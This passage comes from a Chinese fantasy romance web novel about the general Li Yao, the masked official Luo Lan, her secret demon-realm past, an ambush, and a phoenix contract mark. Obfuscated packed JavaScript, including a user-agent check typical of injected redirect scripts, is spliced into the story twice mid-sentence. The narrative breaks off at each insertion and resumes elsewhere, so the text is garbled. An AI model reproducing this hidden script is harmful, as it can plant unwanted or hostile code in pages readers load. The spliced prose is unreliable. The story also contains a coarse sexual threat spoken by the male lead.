离曜翻看那碟报,视线落在某一行,忽然凝住,唤那亲卫上前:“你确定是罗阑帮她解除了魔纹禁锢?” “可能性极大,”亲卫恭谨道,“魔纹禁锢是西冥用以控制族人的手段,每半年发作一次,发作时如万蚁噬心,痛不欲生,必须在此前服用特制解药。若连续发作满十次而不得解,必会魔纹反噬,暴毙而亡。” “那玉灵儿在二十年前不知因何叛逃西冥,来到灵域,按理该在十五年前暴毙,可从那一年起,她便一直跟在罗阑身边,再无发作迹象。” 离曜暗金瞳眸缓缓眯起:“如此说来,罗阑是和西冥关系匪浅了?” “不错。魔纹禁锢乃西冥不传之秘,便是族长都不能轻易替人解除,除非……是施术者本人,或者是在西冥内部位高权重、深知根底之人。” 离曜舔了舔后槽牙,“顺着这条线深挖下去,我要知道西冥百年前的那个护法,和罗阑是什么关系。” 亲卫应声:“是。还有一事……” “讲。” “关于那赤瞳魔族。”亲卫顿了顿,“赤瞳在魔族中属高阶血脉,本就稀少,而修为能达到那般境界的,在当今魔域,只有一人符合——” 离曜抬眼。 亲卫吐出两个字:“魔君。” * 罗阑一身素白寝衣,久久站在窗前。 窗外夜色幽寂,竹声潇潇,月色透过窗棂,映照得满屋幽凄。 罗阑忽然听到身后一点响动,随即便被人拥入怀中。 “你喜欢听这竹叶的声音?” 罗阑闭了闭眼:“又是你。” 离曜收拢臂弯,把她抱得更紧了些,满足地叹了口气。 他伸手把她的面具揭去:“这面具是焊在你脸上了吗?一天到晚戴着,不嫌闷?” 罗阑抿唇,她已习惯了在人前戴面具,每次骤失面具的遮蔽,都让她生出种赤裸裸暴露于前的不安,尤其是在离曜跟前。 她偏过脸避开他灼热的目光,冷声问:“你来这一趟,就为了看我长什么样吗?” 离曜许久不答,只是盯着她看。罗阑手指蜷缩了一下,不动声色地拢了拢松散的衣领。 这个细微的动作让离曜笑了。 “当然不止是为了看你这张脸,”他贴在她耳边,气息温热,“我还想听听……你真正的声音。” 罗阑沉默不语,良久,才道:“把我那枚玉扣还回来。” 她是在昨夜回府后才发现,耳后那枚玉扣已不知何时不见了。 “还什么还?”离曜哼笑,“早被我丢了。” 罗阑忍耐着,直到感觉到离曜在嗅闻她,咬牙道:“你还要这样抱多久?” “别岔开话题,”离曜伸手摩挲罗阑唇瓣,“一句就好……阿阑,你就连让我听听声都不肯吗?” 这声“阿阑”叫得低哑缠绵,罗阑却像是被刺了一下,冷道:“你把我当成什么了?” 这话反让离曜听得一愣,手上动作也停下,“怎么?” 罗阑狠狠拍开他的手:“我早同你讲明了,不想与你再有任何牵扯,你定要这般纠缠不可?” 离曜面色有些变了,他磨了磨牙:“昨天还那么乖乖软软任我抱着哄着,今天翻脸就不认人了?罗阑,你倒真是反复无常。” 罗阑冷着一张脸:“影一他们都拦不住你,似你昨夜那般蛮横行径,我除了顺承你,又能如何?是,我是女子,便能任由你当成玩物般上下其手?” “玩物?”离曜气笑了,“罗阑,你就非要这般口是心非不成?” 他扳过她的下巴,迫使她面对着自己。 “就算你自己不说,”离曜的声音低了下去,“可是你眉梢眼角,手指发梢,都会说话。哪怕你不颦不笑,看也不看我一眼,我也能知道……你心里在想着我。无时无刻不在念着我,渴求我。” 罗阑半晌说不出话来,“你……委实自恋透顶。” 离曜从鼻子里哼出一声:“你既要跟我划清界限,那也好。咱们便好好算算账。比如——” “我怎么从未听说,魔君有个姐姐?” 离曜一直紧盯着罗阑,话落,果见她眼睫颤动了一下。 “……” 离曜把她整个人往怀里带了带:“我奉劝你,别在我眼皮子底下伙同魔域搞什么小动作,叫我发现了——” 他在罗阑耳边一字一句道:“就把你关起来,艹死你。” 罗阑一时脸色僵硬。 她沉默了好一会儿,才道:“我这些年在仙盟,若真存了串通魔域之心,机会多的是。又何须坐视你领兵将魔军彻底逐出灵域,重创魔域元气?” “那可不一定。”离曜手指绕起她一缕长发把玩,“你曾经,不是一心想要我的命么?说不定,你只是没做成而已。” 话虽如此,离曜心中却也清楚,罗阑这些年在仙盟枢要之位,经手无数军机要务,若她真有心资敌,灵域绝无可能赢得如今这般局面。 若非如此,早在他发现她魅女身份的那一刻,就会把她困死在那间密室,绝不会这么轻易放她出去。 然而现在,情况似乎又不同了。魔君竟不惜以身犯险,跨越万里界域,亲自来到仙盟中枢所在的阙都找她。离曜审视着怀中人苍白面庞,罗阑究竟是什么人? 罗阑:“你待如何?” 离曜盯着她看了片刻,忽然低头,亲了亲她的发顶。 “退出仙盟,跟了我,我会保护你。” 罗阑却是冷笑一声:“我需要你来保护吗?” “且不说还轮不到你来决定我的去留。单说你自己,如今自身尚且难保,你还有多少余力来‘保护’别人?多担心担心你自己吧。” 离曜道:“我一个通敌罪人,你一个魔族密探,你我凑在一起,岂不正好?便是一朝败露,我也能带你亡命天涯,这难道不比守着你那不知在哪的夫君要强?” “哦对了,你那夫君可是西冥中人?” “……不是。” “哦?”离曜偏过头,“这可奇怪了,你不是做过西冥护法吗?我记得西冥族内护法,向来不得与族外人通婚,你既曾居其位,又怎会与外族人结为夫妻?” 他一边说,一边紧紧盯着罗阑表情,然而令他失 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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月光照在她半边脸上,将她苍白肤色映得几乎透明。她垂着眼,睫毛在眼底投下暗影,看不出分毫情绪。 “我不过替你惋惜。”她淡淡道,“我虽非西冥出身,却也不是没有到过西冥。” 离曜声音里有些紧绷:“你曾见过绛雪不成?” “不错。” 罗阑转过脸,空濛的眼眸仿佛能穿透黑暗,望进离曜眼底。 “她在很多年前,便已经死了。” * 离曜独自坐在黑暗里,手边搁着封最新的碟报。 不过一天时间,百年前那西冥护法的详细卷宗,已经送到了他面前。 只要打开,他就能知道那个疑似绛雪的女人到底是谁——她有何过往,生得是何模样,与堕凤之间到底发生过什么,甚至她最后是怎么死的,他都能知道得一清二楚。 他追寻了数年、纠缠了数年、恨了也念了数年的那个女人的真面目,近在咫尺。 可是…… 离曜的手指在封蜡上摩挲,迟迟没有撕开。 她真的已经死了吗? 尽管这些年来,他无数次告诉自己,那女人不值得他惦念,可是他在乍听到她已死的那一瞬间,竟无法呼吸。 心口处空空荡荡,窒闷难当。 这一夜贴在罗阑身上的辨谎符,仍是一刻未曾亮起,他几乎要怀疑是这辨谎符出了什么差错。 离曜把一边手枕在脑后,闭上眼,忽然想起今日罗阑提到绛雪时的神情。 她很在意绛雪吗? 是了,离曜想,他都那么介意她那个不知死到哪里去的“夫君”,罗阑对于他和绛雪的往事,想来也不是不在意的。 离曜抬手捂住心口,可原来他心中,竟还是念着绛雪的吗?在得知她死讯的那一刻,他几乎无法面对罗阑。 这对罗阑来说,似乎并不公平。 22. 情仇难解 离曜将碟报搁回枕边,翻身躺下。 窗外,夜色正浓。 远处传来隐约的更鼓声,一声,两声,三声。 许是秦玄策幻法侵扰之故,这几夜他总难安寝。 那些经年缠绕的记忆碎片,又一次在他梦中不断翻覆。 这一夜,梦中那女子仍是面目模糊。 月色下,他捧着她的脸痴痴亲吻,“你待在我身边,我什么不能给你?只要你开口——” “我同你说过,”那女子打断他,别过脸去,“我身负诅咒,此生不得与人相守。” 他像是游离于梦外,冷眼看着梦中自己拥她入怀,在她耳边一遍遍许诺,说尽天真妄语。 梦里的他欢喜得像个傻子。 梦境外,离曜躺在床上,手指无意识地攥紧了身下的床褥。 蠢货。被人玩弄于股掌之间而不自知。 梦还在继续。 然而这一次的梦境,似乎有些不同。 女子抬起手,轻轻抚上他的脸颊。 “阿昭,”她唤他,“你可会后悔?” “永不后悔。”他答得斩钉截铁。 她笑了,那笑容该是美得惊心动魄,却也凄凉得让人心头发紧。她凑过来,在他唇上印下一个轻如羽毛的吻。 梦境的边缘开始晃动、扭曲,那女子模糊的面容,竟渐渐清晰起来。 离曜的心骤然提起,怦怦狂跳—— 不知为何,他总觉得这一次……他定能看清她的脸。 他死死盯着她渐次分明的侧脸轮廓,鼻梁的弧度,唇线的形状…… 就在即将破开最后一层迷雾的刹那—— “飒飒……飒飒……” 一阵风吹竹叶的飒响,蓦地穿透梦境,他似有所感,回头望去。 竹林深处,院舍的轩窗敞开着,罗阑就立在窗前。 她微微仰着脸,那双空濛无光的眼睛,仿佛穿透了千重竹影、万丈夜色,遥遥地、哀凉地望向他所在的方向。 一滴泪,无声从她眼角滴落。 离曜霎时间忘却所有,直直向她奔去。 脑中只剩下一个念头——要把她抱到怀里,叫她再不伤心。 “阿阑……” 他来到窗前,急切地伸出手,想要替她擦去眼泪,可就在他手指即将触碰到她面庞的前一刻,罗阑整个人忽然化作点点流光,逸散消失在他跟前。 离曜碰了个空,一时间惶急得不行,他朝四周喊:“阿阑——!” 只有风吹过竹海的呜咽,周遭一切开始崩碎、瓦解,化作白茫茫一片空荡。 他在那片空茫里疯了一般寻找。 “阿阑!阿阑——!” 离曜嘶喊着,骤然从梦中惊醒,弹坐起来。 冷汗浸透了里衣,他瞪着昏暗床顶,犹自喘息不定。 半晌,他将枕边那份碟报拿起,无言地看了会儿。 “嗤——” 碟报一角开始燃起火苗,迅速蔓延开来,火光映在他暗金色的瞳孔里,明明灭灭。 很快,碟报就在他手里被烧得一点灰不剩。 他不会再去探寻那些过往了。离曜想。 * 仙盟总坛,司礼殿偏厅。 “罗总参事?”高佑两股战战,努力回想。 面前离曜脸色阴沉,周身散发的低气压让空气都凝固了。 高佑甚至不敢抬头直视他的眼睛,忙道:“我这几日都未在总坛九殿内见过罗总参事,不过……似乎听人说起过,他这几日都是正常来办差的,今后一段时日的事项,都已交代安排妥帖。是以他今日不曾前来,我等也不觉奇怪……” 高佑说到此处,觑着眼前人的面色,咽了口唾沫。 “罗总参事行事向来周密,或许……或许只是有事外出……” “外出?”离曜冷笑一声,“外出需要把整座府邸搬空?” 盯梢之人未察觉分毫异样,罗阑究竟是如何办到的,又去了何处,他已动用了所有暗桩,势必要在一个时辰内知道结果! 离曜往前逼近一步,“你最好仔细想想,她临走前可有什么异常?见过什么人?说过什么话?” 高佑额头冷汗涔涔,忽然灵光一闪:“若说异常……倒真有一事。” “文、文宣殿那日,您入了秦家主的幻阵后,迟迟未能脱身。罗总参事当时……便对秦家主说了一句话,秦家主听完,脸色当场就变了!” 高佑至今想起那一幕,仍觉心惊。 “当时幻雾连连铺张,几乎要充斥整个文宣殿,我等为免被卷入幻法,都只得避让出去。殿内……便只剩了罗总参事和秦家主二人。” “之后的事我便不知了,只是等我等再去看时,文宣殿内已空无一人。” “秦玄策……”离曜喃喃,眯起眼。 又是他。 那日秦玄策不惜动用迷天幻幕也要困住他,罗阑却能安然出入幻境将他带离。当时离曜便觉得古怪,只是后来诸事纷杂,未曾深究。 如今想来,这二人难道有什么不为人知的牵扯? 离曜盯着高佑:“当时罗阑对秦玄策说的,究竟是什么话?” 高佑苦着脸摇头:“当时距离太远,秦家主幻雾又扰人感知,我实在未曾听清。” 正在这时,一名亲卫匆匆赶来,在离曜耳边低声禀报了几句。 离曜的脸色越发难看,冷道:“一个两个,都凑到一起了。倒也是时候,该去会会这位秦家主了。” * 与此同时,灵枢天城。 这是一座悬浮在高空的巨大城池,边缘延伸出六道宽阔的悬桥,与周遭六座较小的浮岛相连,构成一个庞大的空中建筑群。 城池外围笼罩着一层半透明的结界光幕,不时有身穿灵枢院青灰袍服的修士御剑或乘飞行法器进出,在结界光幕上荡开圈圈涟漪。 百年前,原灵枢院旧址毁于战火,灵枢院几经迁徙,后来耗费巨资,动用上古遗留的浮空法阵,将核心部分整体搬迁至此,这才逐渐发展为今日的“天城”。 院长静室内。 墨明子脸色震愕,手中茶盏险些跌落:“罗总参事,你当真是魔域之人?那你为何……为何这些年来……” “此事说来话长,”罗阑坐在他对面,淡淡道,“墨院长,百年前,你可也是曾见过我的。” 罗阑抬手,缓缓摘下面具,露出那张苍白面庞。 这次墨明子虽也吃惊,却并未失态,摇头道:“原来你竟是女子。可是,我很确定,我并不曾见过你。” 罗阑道:“墨院长可还记得,灵枢院搬迁那日,曾来找过你之人。” 她这一句话像是骤然拨散迷雾,墨明子记忆中那人的脸骤然清晰,他骤然睁大眼睛,盯着罗阑:“是你!” 当年墨明子尚且年轻,还不曾坐上院长之位,相比起修炼破境,他更沉迷于钻研推演天地法则,是以年岁虽与苏沉辰诸人相仿,却要显得苍老许多。 彼时界门大开,魔域联军入侵,灵域各派惨遭血洗。 若非那人殷殷嘱咐,点明要害,整个灵枢院上下数百弟子、万千典藏,怕都躲不过那场滔天战祸。更别提那人对墨明子研究方向的提点,之后数十年整个灵枢院在对抗魔染上的诸多突破性成果,都是奠定在此基础上。 想到此处,墨明子因得知罗阑是魔族而不得不升起的警惕戒备,顿时烟消云散。 墨明子神色复杂:“原来是你……怪不得,那你这些年为何隐而不发,又为何要在这时,告知我你的身份?” 罗阑道:“我此行,是来向你道别。用不了多久,我便会回返魔域,很快便会启程了。” 墨明子恍然,许多线索瞬间串联起来:“想来苏盟主便是在你劝说下,才愿前往魔域一探虚实……” 他抚须长叹:“百年过去,如今魔染已恶化至此,你所料想的那一日,竟真要到来了,若此番当真如你所愿,以昭夜侯为首的军方必不会坐视,若是激起兵变,又当如何?” 罗阑沉默了片刻,只道:“他……并非冷血无情、麻木不仁之人。” 这话让墨明子听得惊讶,不由转头看她:“我原以为你厌恶此人至极,这些年你二人针锋相对,几乎已成死局。不料你对他,竟是这般作想?” 罗阑没有回答这个问题,只欠身向墨明子郑重行了一礼:“有关血月推演,乃是破局关键。我走之后,恐有风波牵连,便需请墨院长多加看顾。罗阑在此,先行谢过。” 墨明子连忙起身虚扶,“你放心。只要老夫还有一口气在,这项研究,绝不会停。” 罗阑颔首,“如此,便告辞了。” 墨明子送她至内院传送阵前,看着那架不起眼的青帷马车缓缓启动,飞马拉动车轿,腾空而起,化作一道流光,没入灵枢天城外围的云雾之中。 他站在高耸的平台上,望着马车消失的天际,久久无言。百年光阴,故人星散,这一次,又会将世人带往何方? 车轿之内,罗阑倚着厢壁,垂目静坐。 只剩下最后一个目的地了——璇玑阁。 她想起离曜,这一别,不知要何时才能再见了。 不。 或许,以她如今的状况,根本撑不到再见之时。自昨夜后,便是永别了。 她放在膝盖上的手缓缓收拢。 昨夜强行催动秘法掩盖行踪,又连夜安排诸多事宜,早已是强弩之末。她此刻有些晕眩,喉间泛起淡淡的腥甜,缓了许久方才勉强压下去。 车轿刚从传送阵中驶出的瞬间,车身忽然一阵剧烈颠簸! 罗阑心头一凛,便听前方影一的声音传来:“主上,有人设伏!后方影杀被拦截在传送阵中,车身的保护结界恐怕撑不了多久了!” 攻击如同暴雨般倾泻在结界上,轰鸣不断。罗阑虽目不能视,却也能从震幅上觉出有多凶险,当机立断道:“你即刻入轿,车身将坠,落地瞬间注意防守,立马带我出轿。” “是!” 影一的声音刚落,人已闪入轿内。几乎就在他入轿的同一时间,整个车轿像被巨锤砸中,狠狠一震,车外结界彻底崩毁,拉车的几匹飞马发出凄厉的哀鸣,车身失去牵引,直直下坠! “砰——!!!” 落地瞬间,车轿顿时四分五裂,影一已先一步,抱着罗阑从轿厢中激射而出,稳稳落在数丈之外。 他们掉落在一处断崖前。 冷雨萧萧,四周尽是嶙峋山石,远处雾霭沉沉,看不清来路去路。 影一将罗阑护在身后,警惕地环视四周。 一声轻笑,从雨雾深处传来。 “罗护法,这么急着走,莫不是怕离曜发现了你的身份,找你清算旧账?” 罗阑脸色不变,只冷冷道:“我过往之事,果然是你透露给他的。” 雨雾中,一道紫衣身影缓缓走出。 “便是我不说,他迟早也会查出,”秦玄策摇着玉扇,“说不定,有一日,他便全想起来了。到那时,你觉得他会如何待你?” 罗阑抿紧唇,沉声道:“你出尔反尔,竟借那幻法动了手脚。” “出尔反尔的是谁?”秦玄策笑容倏地一收,玉扇“啪”地合拢,“你曾应允过我什么?事到如今,林霁又在何处?” 话落,一个冰冷的声音横插进来道:“她答应过你什么?” 罗阑脸色终于一变。 秦玄策却是笑道:“终于来了。” 离曜自崖侧走出。 他身上玄衣已被雨水浸透,勾勒出悍利挺拔的轮廓。打湿的额 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“至于你,”他忽然看向身侧陆明,“你也有嫌疑。” 话落,立刻有数名刺客向陆明扑杀而来! 陆明面色大变,仓促间拔剑抵挡。然而应变不及,手中长剑被震飞,就在短刃直刺他心口时—— “轰!” 一股炽热的金焰,忽然从陆明体内爆发出来!瞬间将那名刺客吞没。 离曜余光骤然瞥见,也愣住了。 虽说陆明体内确有丹凤心火残留,但这么多年过去,绝不可能还能发挥如此威势。 可眼前这火焰…… 璇玑上使眼中精光一闪,低喝道:“先拿下此子!带回阁内,查验过后,再行斩杀!” 刺客阵势顿时一变,分出一半人手猛攻陆明。陆明本就力竭,不过数招便被一掌击中后颈,闷哼一声,昏死过去。 离曜虽强横无匹,刀下无一合之敌,但刺客人数众多,且个个如同傀儡,不惜性命,一时竟也被缠住。璇玑上使见势不妙,提起昏迷的陆明,化作一道流光,率先遁走。 激斗中,离曜眼角余光忽然瞥见一道幽微寒光—— 竟有数名刺客悄无声息地脱离战圈,绕至罗阑侧后方。而此刻,影一已被其余人死死缠住,脱身不得! 那其中一名刺客手腕一抖,飞刀脱手而出,化作一道几乎看不见的流光,撕裂雨幕,直射罗阑后心! 离曜浑身血液瞬间冻结。 惊惶刀爆发出前所未有的刺目血光,离曜不顾身前劈来的刀剑,强行拧身,接连数道刀光向那刺客和飞刀斩去! 刀势暴烈,锐不可当! 然而,立即便有三道身影如影随形般拦在他刀光前,以身为盾,硬生生接下了这几记刀光! “噗噗噗——” 血肉横飞,三名刺客当场毙命。可拦截飞刀的刀芒却也为之一缓。 离曜骤然明白过来。 他们真正的目标不是他,而是罗阑! 离曜目眦欲裂,眼睁睁看着那柄飞刀刺破雨幕,距离罗阑心口只有三尺、两尺、一尺—— 他失声痛呼:“阿阑——!快躲开!” 这一切不过发生在短短数秒内,从飞刀发出到他这一声喊出,罗阑堪堪转过头来。 离曜狂暴冲出,可身前仍有刺客悍不畏死地阻拦,来不及了—— “不——!”离曜痛到撕心裂肺。 就在锋刃即将贯穿罗阑心口的刹那—— “唳——!” 一声清越凤鸣,毫无征兆地响起! 一道金色凤影自罗阑体内浮现,如有灵性般,张开双翼将她牢牢护住。 璀璨金光如涟漪般扩散开来,那必杀的一击便如同泥牛入海,消弭无形! 雨水落在凤影上,瞬间蒸发成雾,化作氤氲的光晕。 离曜怔在当场,不敢置信地瞪着罗阑。 他猛冲上前,一把拽过罗阑,撕开她后领。 纤白后颈处,赫然浮现着一枚血红的凤纹。 离曜死死盯着那枚印记,双眼瞬间血红。 丹凤族人一生仅有一次机会,在心爱之人身上留下契印。 契印即成,生死相守。 受契者体内会流入丹凤族人的本命精血,在遭遇致命危险时,契印便会自行激发,调动契主的力量为其挡下灾劫。 这种守护是无条件的,除非丹凤族人陨落,否则终其一生,契印会一直庇佑着他心爱之人。 离曜指尖颤抖着,触上那枚血红印记。 而罗阑身上契印的气息,只源于一人—— 他自己。